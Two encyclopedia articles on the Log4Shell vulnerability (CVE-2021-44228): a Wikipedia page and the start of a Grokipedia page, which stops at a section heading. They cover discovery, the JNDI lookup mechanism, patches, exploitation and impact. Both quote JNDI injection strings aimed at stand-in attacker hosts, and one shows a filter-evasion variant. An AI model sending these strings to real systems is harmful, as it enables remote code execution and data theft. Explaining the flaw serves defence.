Recent from talks
Contribute something
Nothing was collected or created yet.
Log4Shell
View on Wikipedia
| CVE identifier | CVE-2021-44228 |
|---|---|
| Date discovered | 24 November 2021 |
| Date patched | 9 December 2021 |
| Discoverer | Chen Zhaojun of the Alibaba Cloud Security Team[1] |
| Affected software | Applications logging user input using Log4j 2 |
Log4Shell (CVE-2021-44228) is a zero-day vulnerability reported in November 2021 in Log4j, a popular Java logging framework, involving arbitrary code execution.[2][3] The vulnerability had existed unnoticed since 2013 and was privately disclosed to the Apache Software Foundation, of which Log4j is a project, by Chen Zhaojun of Alibaba Cloud's security team on 24 November 2021.[4]
Before an official CVE identifier was made available on 10 December 2021, the vulnerability circulated with the name "Log4Shell", given by Free Wortley of the LunaSec team, which was initially used to track the issue online.[2][1][5][6][7] Apache gave Log4Shell a CVSS severity rating of 10, the highest available score.[8] The exploit was simple to execute and is estimated to have had the potential to affect hundreds of millions of devices.[7][9]
The vulnerability takes advantage of Log4j allowing requests to arbitrary LDAP and JNDI servers,[2][10][11] allowing attackers to execute arbitrary Java code on a server or other computer, or leak sensitive information.[6] A list of affected software projects has been published by the Apache Security Team.[12] Affected commercial services include Amazon Web Services,[13] Cloudflare, iCloud,[14] Minecraft: Java Edition,[15] Steam, Tencent QQ and many others.[10][16][17] According to Wiz and EY, the vulnerability affected 93% of enterprise cloud environments.[18]
The vulnerability's disclosure received strong reactions from cybersecurity experts. Cybersecurity company Tenable said the exploit was "the single biggest, most critical vulnerability ever,"[19] Ars Technica called it "arguably the most severe vulnerability ever"[20] and The Washington Post said that descriptions by security professionals "border on the apocalyptic."[9]
Background
[edit]Log4j is an open-source logging framework that allows software developers to log data within their applications, and can include user input.[21] It is used ubiquitously in Java applications, especially enterprise software.[6] Originally written in 2001 by Ceki Gülcü, it is now part of Apache Logging Services, a project of the Apache Software Foundation.[22] Tom Kellermann, a member of President Obama's Commission on Cyber Security, described Apache as "one of the giant supports of a bridge that facilitates the connective tissue between the worlds of applications and computer environments".[23]
Behavior
[edit]The Java Naming and Directory Interface (JNDI) allows for lookup of Java objects at program runtime given a path to their data. JNDI can use several directory interfaces, each providing a different scheme of looking up files. Among these interfaces is the Lightweight Directory Access Protocol (LDAP), a non-Java-specific protocol[24] which retrieves the object data as a URL from an appropriate server, either local or anywhere on the Internet.[25]
In the default configuration, when logging a string, Log4j 2 performs string substitution on expressions of the form ${prefix:name}.[25] For example, Text: ${java:version} might be converted to Text: Java version 1.7.0_67.[26] Among the recognized expressions is ${jndi:<lookup>}; by specifying the lookup to be through LDAP, an arbitrary URL may be queried and loaded as Java object data. ${jndi:ldap://example.com/file}, for example, will load data from that URL if connected to the Internet. By inputting a string that is logged, an attacker can load and execute malicious code hosted on a public URL.[25] Even if execution of the data is disabled, an attacker can still retrieve data—such as secret environment variables—by placing them in the URL, in which case they will be substituted and sent to the attacker's server.[27][28] Besides LDAP, other potentially exploitable JNDI lookup protocols include its secure variant LDAPS, Java Remote Method Invocation (RMI), the Domain Name System (DNS), and the Internet Inter-ORB Protocol (IIOP).[29][30]
Because HTTP requests are frequently logged, a common attack vector is placing the malicious string in the HTTP request URL or a commonly logged HTTP header, such as User-Agent. Early mitigations included blocking any requests containing potentially malicious contents, such as ${jndi.[31] Such basic string matching solutions can be circumvented by obfuscating the request: ${${lower:j}ndi, for example, will be converted into a JNDI lookup after performing the lowercase operation on the letter j.[32] Even if an input, such as a first name, is not immediately logged, it may be later logged during internal processing and its contents executed.[25]
Mitigation
[edit]Fixes for this vulnerability were released on 6 December 2021, three days before the vulnerability was published, in Log4j version 2.15.0-rc1.[33][34][35] The fix included restricting the servers and protocols that may be used for lookups. Researchers discovered a related bug, CVE-2021-45046, that allows local or remote code execution in certain non-default configurations and was fixed in version 2.16.0, which disabled all features using JNDI and support for message lookups.[36][37] Two more vulnerabilities in the library were found: a denial-of-service attack, tracked as CVE-2021-45105 and fixed in 2.17.0; and a difficult-to-exploit remote code execution vulnerability, tracked as CVE-2021-44832 and fixed in 2.17.1.[38][39] For previous versions, the class org.apache.logging.log4j.core.lookup.JndiLookup needs to be removed from the classpath to mitigate both vulnerabilities.[8][36] An early recommended fix for older versions was to set the system property log4j2.formatMsgNoLookups to true, but this change does not prevent exploitation of CVE-2021-45046 and was later found to not disable message lookups in certain cases.[8][36]
Newer versions of the Java Runtime Environment (JRE) also mitigate this vulnerability by blocking remote code from being loaded by default, although other attack vectors still exist in certain applications.[2][27][40][41] Several methods and tools have been published that help detect vulnerable Log4j versions used in built Java packages.[42]
Where applying updated versions has not been possible, due to a variety of constraints such as lack of resources or third-party managed solutions, filtering outbound network traffic from vulnerable deployments has been the primary recourse for many.[43] The approach is recommended by NCC Group[44] and the National Cyber Security Centre (United Kingdom),[45] and is an example of a defense in depth measure. The effectiveness of such filtering is evidenced[46] by laboratory experiments conducted with firewalls capable of intercepting the egress traffic with several wholly or partially vulnerable versions of the library itself and the JRE.
Usage
[edit]The exploit allows hackers to gain control of vulnerable devices using Java.[7] Some hackers employ the vulnerability to use victims' devices for cryptocurrency mining, creating botnets, sending spam, establishing backdoors and other illegal activities such as ransomware attacks.[7][9][47] In the days following the vulnerability's disclosure, Check Point observed millions of attacks being initiated by hackers, with some researchers observing a rate of over one hundred attacks per minute that ultimately resulted with attempted attacks on over 40% of business networks internationally.[7][23]
According to Cloudflare CEO Matthew Prince, evidence of exploitation or of scanning for the exploit goes back as early as 1 December, nine days before it was publicly disclosed.[48] According to cybersecurity firm GreyNoise, several IP addresses were scraping websites to check for servers that had the vulnerability.[49] Several botnets began scanning for the vulnerability, including the Muhstik botnet by 10 December, as well as Mirai and Tsunami.[7][48][50] Ransomware group Conti was observed using the vulnerability on 17 December.[9]
Some state-sponsored groups in China and Iran also utilized the exploit according to Check Point, but it is not known if the exploit was used by Israel, Russia or the United States prior to the disclosure of the vulnerability.[9][19] Check Point said that on 15 December 2021, Iran-backed hackers attempted to infiltrate the networks of Israeli businesses and government institutions.[9]
Response and impact
[edit]Governmental
[edit]In the United States, the director of the Cybersecurity and Infrastructure Security Agency (CISA), Jen Easterly, described the exploit as "one of the most serious I've seen in my entire career, if not the most serious", explaining that hundreds of millions of devices were affected and advising vendors to prioritize software updates.[7][51][47] Civilian agencies contracted by the United States government had until 24 December 2021 to patch vulnerabilities.[9] On 4 January, the Federal Trade Commission (FTC) stated its intent to pursue companies that fail to take reasonable steps to update used Log4j software.[52] In a White House meeting, the importance of security maintenance of open-source software – often also carried out largely by few volunteers – to national security was clarified. While some open-source projects have many eyes on them, others do not have many or any people ensuring their security.[53][54]
Germany's Bundesamt für Sicherheit in der Informationstechnik (BSI) designated the exploit as being at the agency's highest threat level, calling it an "extremely critical threat situation" (translated). It also reported that several attacks were already successful and that the extent of the exploit remained hard to assess.[55][56] The Netherlands's National Cyber Security Centre (NCSC) began an ongoing list of vulnerable applications.[57][58]
The Canadian Centre for Cyber Security (CCCS) called on organizations to take immediate action.[59] The Canada Revenue Agency temporarily shut down its online services after learning of the exploit, while the Government of Quebec closed almost 4,000 of its websites as a "preventative measure."[60] The Belgian Ministry of Defence experienced a breach attempt and was forced to shut down part of its network.[61]
The Chinese Ministry of Industry and Information Technology suspended work with Alibaba Cloud as a cybersecurity threat intelligence partner for six months for failing to report the vulnerability to the government first.[62]
Businesses
[edit]Research conducted by Wiz and EY[18] showed that 93% of the cloud enterprise environment were vulnerable to Log4Shell. 7% of vulnerable workloads are exposed to the Internet and prone to wide exploitation attempts. According to the research, ten days after vulnerability disclosure (20 December 2021) only 45% of vulnerable workloads were patched on average in cloud environments. Amazon, Google and Microsoft cloud data was affected by Log4Shell.[9] Microsoft asked Windows and Azure customers to remain vigilant after observing state-sponsored and cyber-criminal attackers probing systems for the Log4j 'Log4Shell' flaw through December 2021.[63]
The human resource management and workforce management company UKG, one of the largest businesses in the industry, was targeted by a ransomware attack that affected large businesses.[20][64] UKG said it did not have evidence of Log4Shell being exploited in the incident, though analyst Allan Liska from cybersecurity company Recorded Future said there was possibly a connection.[64]
As larger companies began to release patches for the exploit, the risk for small businesses increased as hackers focused on more vulnerable targets.[47]
Privacy
[edit]Some personal devices connected to the Internet, such as smart TVs and security cameras, were vulnerable to the exploit. Some software may never get a patch due to discontinued manufacturer support.[9]
Analysis
[edit]As of 14 December 2021,[update] almost half of all corporate networks globally have been actively probed, with over 60 variants of the exploit having been produced within 24 hours.[65] Check Point Software Technologies in a detailed analysis described the situation as being "a true cyber-pandemic" and characterizing the potential for damage as being "incalculable".[66] Several initial advisories exaggerated the amount of packages that were vulnerable, leading to false positives. Most notably, the "log4j-api" package was marked as vulnerable, while in reality further research showed that only the main "log4j-core" package was vulnerable. This was confirmed both in the original issue thread[67] and by external security researchers.[68]
Technology magazine Wired wrote that despite the previous "hype" surrounding multiple vulnerabilities, "the Log4j vulnerability ... lives up to the hype for a host of reasons".[19] The magazine explains that the pervasiveness of Log4j, the vulnerability being difficult to detect by potential targets and the ease of transmitting code to victims created a "combination of severity, simplicity, and pervasiveness that has the security community rattled".[19] Wired also outlined stages of hackers using Log4Shell; cryptomining groups first using the vulnerability, data brokers then selling a "foothold" to cybercriminals, who finally go on to engage in ransomware attacks, espionage and destroying data.[19]
Amit Yoran, CEO of Tenable and the founding director of the United States Computer Emergency Readiness Team, stated "[Log4Shell] is by far the single biggest, most critical vulnerability ever", noting that sophisticated attacks were beginning shortly after the bug, saying "We're also already seeing it leveraged for ransomware attacks, which, again, should be a major alarm bell ... We've also seen reports of attackers using Log4Shell to destroy systems without even looking to collect ransom, a fairly unusual behavior".[19] Sophos's senior threat researcher Sean Gallagher said, "Honestly, the biggest threat here is that people have already gotten access and are just sitting on it, and even if you remediate the problem somebody's already in the network ... It's going to be around as long as the Internet."[19]
According to a Bloomberg News report, some anger was directed at Apache's developers at their failure to fix the vulnerability after warnings about exploits of broad classes of software, including Log4j, were made at a 2016 cybersecurity conference.[69]
References
[edit]- ^ a b Povolny, Steve; McKee, Douglas (10 December 2021). "Log4Shell Vulnerability is the Coal in our Stocking for 2021". McAfee. Retrieved 12 December 2021.
- ^ a b c d Wortley, Free; Thrompson, Chris; Allison, Forrest (9 December 2021). "Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package". LunaSec. Archived from the original on 16 June 2024. Retrieved 16 June 2024.
- ^ "CVE-2021-44228". Common Vulnerabilities and Exposures. Retrieved 12 December 2021.
- ^ "Inside the Race to Fix a Potentially Disastrous Software Flaw". Bloomberg.com. 13 December 2021. Retrieved 19 November 2024.
- ^ "Worst Apache Log4j RCE Zero day Dropped on Internet". Cyber Kendra. 9 December 2021. Retrieved 12 December 2021.
- ^ a b c Newman, Lily Hay (10 December 2021). "'The Internet Is on Fire'". Wired. ISSN 1059-1028. Retrieved 12 December 2021.
- ^ a b c d e f g Murphy, Hannah (14 December 2021). "Hackers launch more than 1.2m attacks through Log4J flaw". Financial Times. Retrieved 17 December 2021.
- ^ a b c "Apache Log4j Security Vulnerabilities". Log4j. Apache Software Foundation. Retrieved 12 December 2021.
- ^ a b c d e f g h i Hunter, Tatum; de Vynck, Gerrit (20 December 2021). "The 'most serious' security breach ever is unfolding right now. Here's what you need to know". The Washington Post.
- ^ a b Mott, Nathaniel (10 December 2021). "Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit". PC Magazine. Retrieved 12 December 2021.
- ^ Goodin, Dan (10 December 2021). "Zero-day in ubiquitous Log4j tool poses a grave threat to the Internet". Ars Technica. Retrieved 12 December 2021.
- ^ "Apache projects affected by log4j CVE-2021-44228". 14 December 2021.
- ^ "Update for Apache Log4j2 Issue (CVE-2021-44228)". Amazon Web Services. 12 December 2021. Retrieved 13 December 2021.
- ^ Lovejoy, Ben (14 December 2021). "Apple patches Log4Shell iCloud vulnerability, described as most critical in a decade". 9to5Mac.
- ^ "Security Vulnerability in Minecraft: Java Edition". Minecraft. Mojang Studios. Retrieved 13 December 2021.
- ^ Goodin, Dan (10 December 2021). "The Internet's biggest players are all affected by critical Log4Shell 0-day". ArsTechnica. Retrieved 13 December 2021.
- ^ Rundle, David Uberti and James (15 December 2021). "What Is the Log4j Vulnerability?". Wall Street Journal – via www.wsj.com.
- ^ a b "Enterprises halfway through patching Log4Shell | Wiz Blog". www.wiz.io. 20 December 2021. Retrieved 20 December 2021.
- ^ a b c d e f g Barrett, Brian. "The Next Wave of Log4J Attacks Will Be Brutal". Wired. ISSN 1059-1028. Retrieved 17 December 2021.
- ^ a b Goodin, Dan (13 December 2021). "As Log4Shell wreaks havoc, payroll service reports ransomware attack". Ars Technica. Retrieved 17 December 2021.
- ^ Yan, Tao; Deng, Qi; Zhang, Haozhe; Fu, Yu; Grunzweig, Josh (10 December 2021). "Another Apache Log4j Vulnerability Is Actively Exploited in the Wild (CVE-2021-44228)". Unit 42. Palo Alto Networks.
- ^ "Apache Log4j 2". Apache Software Foundation. Retrieved 12 December 2021.
- ^ a b Byrnes, Jesse (14 December 2021). "Hillicon Valley — Apache vulnerability sets off alarm bells". TheHill. Retrieved 17 December 2021.
- ^ Sermersheim, J. (June 2006). Lightweight Directory Access Protocol (LDAP): The Protocol. International Electronic Task Force. doi:10.17487/RFC4513. RFC rfc4511. Retrieved 13 December 2021.
- ^ a b c d Graham-Cumming, John (10 December 2021). "Inside the Log4j2 vulnerability (CVE-2021-44228)". The Cloudflare Blog. Retrieved 13 December 2021.
- ^ "Lookups". Log4j. Apache Software Foundation. Retrieved 13 December 2021.
- ^ a b Ducklin, Paul (12 December 2021). "Log4Shell explained – how it works, why you need to know, and how to fix it". Naked Security. Sophos. Retrieved 12 December 2021.
- ^ Miessler, Daniel (13 December 2021). "The log4j (Log4Shell) Situation". Unsupervised Learning.
- ^ Duraishamy, Ranga; Verma, Ashish; Ang, Miguel Carlo (13 December 2021). "Patch Now Apache Log4j Vulnerability Called Log4Shell Actively Exploited". Trend Micro. Retrieved 14 December 2021.
- ^ Narang, Satnam (10 December 2021). "CVE-2021-44228: Proof-of-Concept for Critical Apache Log4j Remote Code Execution Vulnerability Available (Log4Shell)". Tenable Blog. Retrieved 14 December 2021.
- ^ Gabor, Gabriel; Bluehs, Gabriel (10 December 2021). "CVE-2021-44228 - Log4j RCE 0-day mitigation". The Cloudflare Blog. Retrieved 13 December 2021.
- ^ Hahad, Mounir (12 December 2021). "Apache Log4j Vulnerability CVE-2021-44228 Raises widespread Concerns". Retrieved 12 December 2021.
- ^ "Restrict LDAP access via JNDI by rgoers #608". Log4j. 5 December 2021. Retrieved 12 December 2021 – via GitHub.
- ^ Berger, Andreas (17 December 2021). "What is Log4Shell? The Log4j vulnerability explained (and what to do about it)". Dynatrace news.
Apache issued a patch for CVE-2021-44228, version 2.15, on December 6. However, this patch left part of the vulnerability unfixed, resulting in CVE-2021-45046 and a second patch, version 2.16, released on December 13. Apache released a third patch, version 2.17, on December 17 to fix another related vulnerability, CVE-2021-45105.
- ^ Rudis, boB (10 December 2021). "Widespread Exploitation of Critical Remote Code Execution in Apache Log4j | Rapid7 Blog". Rapid7.
- ^ a b c "CVE-2021-45046". Common Vulnerabilities and Exposures. 15 December 2021. Retrieved 15 December 2021.
- ^ Greig, Jonathan (14 December 2021). "Second Log4j vulnerability discovered, patch already released". ZDNet. Retrieved 17 December 2021.
- ^ "CVE-2021-45105". National Vulnerability Database. Retrieved 4 January 2022.
- ^ "CVE-2021-44832". National Vulnerability Database. Retrieved 4 January 2022.
- ^ "Java(TM) SE Development Kit 8, Update 121 (JDK 8u121) Release Notes". Oracle. 17 January 2017. Retrieved 13 December 2021.
- ^ "Exploiting JNDI Injections in Java". Veracode. 3 January 2019. Retrieved 15 December 2021.
- ^ "Guide: How To Detect and Mitigate the Log4Shell Vulnerability (CVE-2021-44228)". www.lunasec.io. 13 December 2021. Retrieved 13 December 2021.
- ^ "Review of the December 2021 Log4j Event" (PDF). Cyber Safety Review Board. 11 July 2022. Retrieved 18 January 2023.
- ^ "Apache Log4j Zero Day Recommendations & Resources". NCC Group. Retrieved 18 January 2023.
- ^ "Alert: Apache Log4j vulnerabilities". National Cyber Security Centre (United Kingdom). 10 December 2021. Retrieved 18 January 2023.
- ^ "Log4Shell and its traces in a network egress filter". Chaser Systems. 12 December 2021. Retrieved 18 January 2023.
- ^ a b c Woodyard, Chris. "'Critical vulnerability': Smaller firms may find it harder to stop hackers from exploiting Log4j flaw". USA Today. Retrieved 17 December 2021.
- ^ a b Duckett, Chris. "Log4j RCE activity began on 1 December as botnets start using vulnerability". ZDNet. Retrieved 13 December 2021.
- ^ "Exploit activity for Apache Log4j vulnerability - CVE-2021-44228". Greynoise Research. 10 December 2021. Retrieved 14 December 2021.
- ^ Zugec, Martin (13 December 2021). "Technical Advisory: Zero-day critical vulnerability in Log4j2 exploited in the wild". Business Insights. Bitdefender.
- ^ "Statement from CISA Director Easterly on "Log4j" Vulnerability". CISA. 11 December 2021.
- ^ "FTC warns companies to remediate Log4j security vulnerability". Federal Trade Commission (FTC). 4 January 2022. Retrieved 6 January 2022.
- ^ "After Log4j, Open-Source Software Is Now a National Security Issue". Gizmodo. Retrieved 16 January 2022.
- ^ Greig, Jonathan. "After Log4j, White House fears the next big open source vulnerability". ZDNet. Retrieved 16 January 2022.
- ^ Sauerwein, Jörg (12 December 2021). "BSI warnt vor Sicherheitslücke". Tagesschau (in German).
- ^ "Warnstufe Rot: Schwachstelle Log4Shell führt zu extrem kritischer Bedrohungslage" [Red alarm: Log4Shell vulnerability causes extremely critical threat situation] (Press release) (in German). Federal Office for Information Security. 11 December 2021.
- ^ J. Vaughan-Nichols, Steven (14 December 2021). "Log4Shell: We Are in So Much Trouble". The New Stack.
- ^ "NCSC-NL/log4shell". National Cyber Security Centre (Netherlands). Retrieved 14 December 2021 – via GitHub.
- ^ "Statement from the Minister of National Defence on Apache Vulnerability and Call to Canadian Organizations to Take Urgent Action". Government of Canada. 12 December 2021. Archived from the original on 20 December 2021. Retrieved 12 December 2021.
- ^ Cabrera, Holly (12 December 2021). "Facing cybersecurity threats, Quebec shuts down government websites for evaluation". CBC News. Retrieved 12 December 2021.
- ^ Stupp, Catherine (21 December 2021). "Hackers Exploit Log4j Flaw at Belgian Defense Ministry". The Wall Street Journal. Archived from the original on 7 February 2022. Retrieved 14 February 2022.
{{cite web}}: CS1 maint: bot: original URL status unknown (link) - ^ "Apache Log4j bug: China's industry ministry pulls support from Alibaba Cloud for not reporting flaw to government first". 22 December 2021.
- ^ Tung, Liam. "Log4j flaw attack levels remain high, Microsoft warns". ZDNet. Retrieved 5 January 2022.
- ^ a b Bray, Hiawatha (15 December 2021). "Emerging 'Log4j' software bug spawns worldwide worry over cyber attacks - The Boston Globe". The Boston Globe. Retrieved 17 December 2021.
- ^ "Almost half of networks probed for Log4Shell weaknesses". ComputerWeekly. 14 December 2021.
- ^ "The numbers behind a cyber pandemic – detailed dive". Check Point Software. 13 December 2021.
- ^ "LOG4J2-3201: Limit the protocols JNDI can use and restrict LDAP". Apache's JIRA issue tracker. Retrieved 14 December 2021.
- ^ Menashe, Shachar (13 December 2021). "Log4Shell 0-Day Vulnerability: All You Need To Know". JFrog Blog. Retrieved 13 December 2021.
- ^ "Inside the Race to Fix a Potentially Disastrous Software Flaw". Bloomberg.com. 13 December 2021.
External links
[edit]- Log4j website
- NCSC overview of Log4Shell on GitHub
- Common Vulnerabilities and Exposures page
- National Vulnerabilities Database page
- Projects affected by cve-2021-44228, by Apache Security Team
[ [Category:computer security and free id 14437739
Log4Shell
View on GrokipediaDiscovery and Historical Context
Initial Detection and Disclosure
The Log4Shell vulnerability, designated CVE-2021-44228, was first identified by Chen Zhaojun, a security researcher at Alibaba Cloud's security team, who privately reported it to the Apache Software Foundation on November 24, 2021.[4][5] This initial detection stemmed from observations of anomalous server behavior traced to Log4j's JNDI lookup mechanism, though Apache initially assessed the risk as moderate during early triage.[6] Public disclosure occurred on December 9, 2021, when proof-of-concept exploit code was shared online, prompting widespread awareness and immediate scrutiny of Log4j deployments.[7][8] The vulnerability received its official CVE identifier, CVE-2021-44228, from MITRE on December 10, 2021, reflecting the rapid escalation from private report to global alert.[1] In the ensuing days, Apache released Log4j version 2.15.0 on December 6, 2021, as an initial patch, but this fix proved incomplete, leading to the disclosure of related vulnerability CVE-2021-45046 on December 14, 2021, which addressed denial-of-service and other non-default configuration risks in the mitigation.[9][10] These sequential revelations highlighted the challenges in fully remediating the core Log4j flaws amid ongoing analysis.[11]Development of Log4j and Preceding Risks
Apache Log4j originated as an open-source logging framework for Java applications, with its first version released in January 1999 by Ceki Gülcü under the Apache Software Foundation. Log4j 1.x became a de facto standard due to its configurable logging levels, appenders for output destinations, and layout options for message formatting, addressing the limitations of Java's built-in logging which lacked flexibility and performance. By the early 2010s, demands for better multithreading support and efficiency prompted the development of Log4j 2, a complete rewrite that introduced asynchronous logging to reduce latency in high-throughput environments. Log4j 2.0-beta9, released on July 18, 2013, marked a significant evolution by incorporating plugin-based architecture, including initial support for the Java Naming and Directory Interface (JNDI) in lookup mechanisms. This allowed logging configurations to dynamically resolve variables from external directories or LDAP servers, enhancing modularity for enterprise deployments but introducing unmitigated risks from unsanitized lookups.[12] The full stable release of Log4j 2.0 occurred in August 2014, followed by general availability of version 2.0 in July 2015, with ongoing enhancements focusing on garbage collection efficiency and integration with Java 8 features like lambda expressions.[13] The library's ubiquity in Java ecosystems stemmed from its superior performance—up to 18 times faster than Log4j 1.x in benchmarks—and extensibility, making it integral to frameworks such as Apache Struts, Spring Boot, and Hadoop. Developers favored it for tunable verbosity, support for structured logging formats like JSON, and seamless embedding in Maven or Gradle builds, leading to its inclusion in countless server-side applications by the mid-2010s. Preceding risks in logging libraries, including Log4j, primarily involved denial-of-service via excessive log volume or configuration errors, but overlooked the amplification potential of dynamic features like JNDI, which assumed trusted environments and did not enforce input validation for remote interactions. Earlier CVEs in Log4j 1.x, such as integer overflows in pattern parsing (CVE-2010-1624), highlighted parsing flaws but never escalated to remote code execution at scale, as logging was not designed for adversarial input processing.Technical Mechanism
Core Vulnerability Behavior
The core vulnerability in Log4Shell, CVE-2021-44228, originates in Apache Log4j's message lookup substitution mechanism, which processes placeholders within log messages or parameters to dynamically resolve values during logging. Log4j employs theMessageLookup class to handle these substitutions for patterns like ${key:...}, supporting various lookup types including the Java Naming and Directory Interface (JNDI) by default. This feature allows resolution of external resources via protocols such as LDAP or RMI, but in vulnerable configurations, it performs lookups without validating the source or requiring authentication, enabling remote resource fetching from arbitrary endpoints.[2][1]
When untrusted input containing a crafted JNDI placeholder—such as ${jndi:ldap://remote-server/object}—is incorporated into a log message, Log4j's substitution engine triggers a JNDI query to the specified remote server during message evaluation. The attacker-controlled server can respond with a malicious Reference object or serialized payload, which the JNDI provider then deserializes and executes in the context of the logging application's Java Virtual Machine (JVM), resulting in arbitrary code execution. This bypasses standard input sanitization because logging typically assumes post-processing safety, treating the input as inert text rather than executable directives.[2][14]
Exacerbating the issue is the recursive substitution capability, where resolved lookup values can embed further placeholders, allowing nested evaluations without depth limits in default settings. This recursive behavior, combined with JNDI's lack of inherent protections against adversary-controlled lookups in Log4j's implementation, transforms a legitimate configuration flexibility into a vector for unauthenticated remote code loading and execution directly within the application's process.[2]
JNDI Lookup Exploitation
The JNDI lookup exploitation in Log4j 2 relies on the library's message substitution mechanism, which recursively evaluates embedded lookup strings during logging. When an application logs untrusted input containing a specially crafted string, such as${jndi:ldap://attacker-controlled-server.com/malicious}, Log4j's JndiLookup class processes the ${jndi:...} pattern by invoking Java's Naming and Directory Interface (JNDI) to perform a remote lookup against the specified provider URL.[11][15] This initiates a network request to the attacker's infrastructure, where the server responds with a serialized Java object, often a Reference instance configured to reference a malicious class or invoke a gadget chain upon instantiation.[16][17]
Upon receiving the response, Log4j deserializes the object using JNDI's NamingManager.getObjectInstance() method, which triggers the execution of the referenced code through dynamic class loading or factory callbacks, resulting in remote code execution (RCE) on the victim host.[18] This process exploits JNDI's lack of inherent restrictions on remote code retrieval, allowing attackers to host payloads on LDAP, RMI, or other supported protocol servers without authentication.[11][19]
Variants of the attack leverage alternative JNDI protocols beyond LDAP, such as RMI for direct object references or IIOP for CORBA interoperability, enabling payload delivery in environments blocking LDAP traffic.[11] Attackers may also chain exploits with Java deserialization gadgets, where the returned Reference object uses a custom factory to instantiate vulnerable classes from libraries like Commons Collections, amplifying code execution depth.[16] For reconnaissance, DNS-based lookups like ${jndi:dns://attacker.com/probe} can confirm vulnerability without RCE, as they trigger resolvable queries revealing live targets.[20]
The vulnerability stems from Log4j's foundational assumption that lookup inputs derive from trusted, internal contexts, overlooking the causal risks in networked applications where external data routinely enters logging pipelines without sanitization.[3] JNDI's permissive design, intended for service discovery in controlled environments, did not enforce remote lookup safeguards, enabling adversary-controlled servers to supply executable content unchecked.[21] This misalignment between logging's diagnostic intent and JNDI's remote invocation capabilities exposed systems to supply-chain-like attacks via unvalidated message patterns.[15]
Affected Versions and Variants
The core Log4Shell vulnerability, designated CVE-2021-44228, affects Apache Log4j versions from 2.0-beta9 through 2.14.1, enabling remote code execution via malicious JNDI lookups in log messages.[1][14] Version 2.15.0, released on December 6, 2021, introduced partial mitigations by disabling JNDI by default and restricting lookups to the message context, but these measures proved incomplete against certain exploitation variants, particularly in non-default configurations allowing external lookups.[2] Follow-on vulnerabilities emerged as refinements to the initial patches. CVE-2021-45046, disclosed on December 14, 2021, involves denial-of-service escalation through thread-context lookups and affects versions 2.0-beta9 through 2.15.0, even after the CVE-2021-44228 mitigation attempt.[10][2] Subsequently, CVE-2021-45105, identified on December 18, 2021, permits denial-of-service via infinite recursion in self-referential lookups and impacts versions from 2.0-alpha1 through 2.16.0 (excluding 2.12.3, which lacks the vulnerable pattern).[2] These related flaws, while not enabling arbitrary code execution like the original, highlight cascading risks in the lookup mechanism and underscore the need to differentiate core remote code execution from auxiliary denial-of-service vectors in vulnerability assessments.[14]| CVE ID | Description | Affected Versions | Fixed Version |
|---|---|---|---|
| CVE-2021-44228 | Remote code execution via JNDI | 2.0-beta9 to 2.14.1 | 2.15.0 (partial) |
| CVE-2021-45046 | DoS via thread-context lookups | 2.0-beta9 to 2.15.0 | 2.16.0 |
| CVE-2021-45105 | DoS via infinite recursion | 2.0-alpha1 to 2.16.0 (excl. 2.12.3) | 2.17.0 |
Scope of Exposure
Prevalence in Software Ecosystems
Apache Log4j has been a foundational logging library in the Java ecosystem since 1999, serving as the default or integrated mechanism in numerous frameworks and enterprise applications, including Apache Struts, Spring Boot, Apache Solr, Kafka, Druid, and Flink.[22][23] Its ubiquity arises from transitive dependencies in software supply chains, where it is bundled indirectly through higher-level libraries, embedding it in billions of lines of code across Java-based systems without explicit developer awareness.[24][23] In Maven Central, the primary repository for Java artifacts, over 17,000 packages—approximately 4% of the total—depended on vulnerable Log4j versions as of December 2021, with only about 3,500 featuring direct inclusion and the majority (over 13,500) relying on transitive chains often deeper than five levels.[24] This structure exacerbates supply chain risks, as dependency graphs obscure Log4j's presence in non-obvious products like cloud services, IoT devices, and proprietary software, hindering automated scanning and manual audits.[24][23] Nearly 7,000 open-source projects explicitly used Log4j as a dependency, underscoring its entrenchment beyond direct logging needs.[23] Pre-patch analyses revealed extensive exposure, with estimates of hundreds of millions of potentially affected devices worldwide and up to 93% of enterprise cloud environments vulnerable due to Log4j's integration in workloads spanning virtual machines, containers, and serverless functions.[23][25] Such prevalence highlights systemic challenges in open-source dependency management, where libraries like Log4j propagate unchecked across ecosystems.[24]Notable Affected Applications and Services
Minecraft Java Edition servers incorporated vulnerable versions of Log4j for logging player interactions and events, enabling remote code execution attempts via crafted usernames during connection attempts.[26] Mojang confirmed the exposure on December 10, 2021, following the public disclosure of CVE-2021-44228.[27] Apple iCloud backend services relied on affected Log4j components, rendering email and other server-side functionalities susceptible to exploitation as identified by security scanning tools and researcher probes in early December 2021.[28] Amazon Web Services (AWS) services, including Elasticsearch and certain containerized Java applications, embedded Log4j dependencies that triggered widespread internal scans and hot-patching efforts upon vulnerability revelation.[29] IBM enterprise products such as WebSphere Application Server, IBM i tools, and Application Performance Management suites utilized Log4j, exposing them to the flaw and prompting product-specific investigations starting December 2021.[30][31] Oracle products including Java SE, Fusion Middleware, and database components integrated vulnerable Log4j libraries, as detailed in official security alerts issued to address remote code execution risks without authentication.[32]Exploitation Patterns
Proof-of-Concept and Early Attacks
A proof-of-concept exploit for CVE-2021-44228, dubbed Log4Shell, was publicly released on GitHub on December 9, 2021, demonstrating remote code execution via malicious JNDI lookups in vulnerable Log4j instances.[4] [33] This rapid weaponization triggered widespread internet scanning for vulnerable systems starting as early as December 9, with mass exploitation attempts surging by December 10 from diverse IP addresses probing for Log4j usage.[34] [11] Honeypot deployments captured a peak in exploit attempts during mid-December 2021, including payloads delivering malware via LDAP or RMI callbacks, though many failed due to incomplete exploitation chains or rapid vendor patching.[35] [36] Opportunistic actors adapted existing tools quickly; for instance, a Mirai botnet variant incorporating Log4Shell for propagation emerged by December 20, 2021, targeting exposed Java applications to expand infected hosts.[37] Nation-state actors, including Chinese group APT41, initiated probes within hours of disclosure, scanning and attempting compromises against government and critical infrastructure targets, yet initial footholds remained limited as organizations deployed patches and workarounds at unprecedented speed following the advisory.[38] [39] This swift response constrained early attack success, with most attempts resulting in reconnaissance rather than persistent access.[11]State-Sponsored and Criminal Exploitation
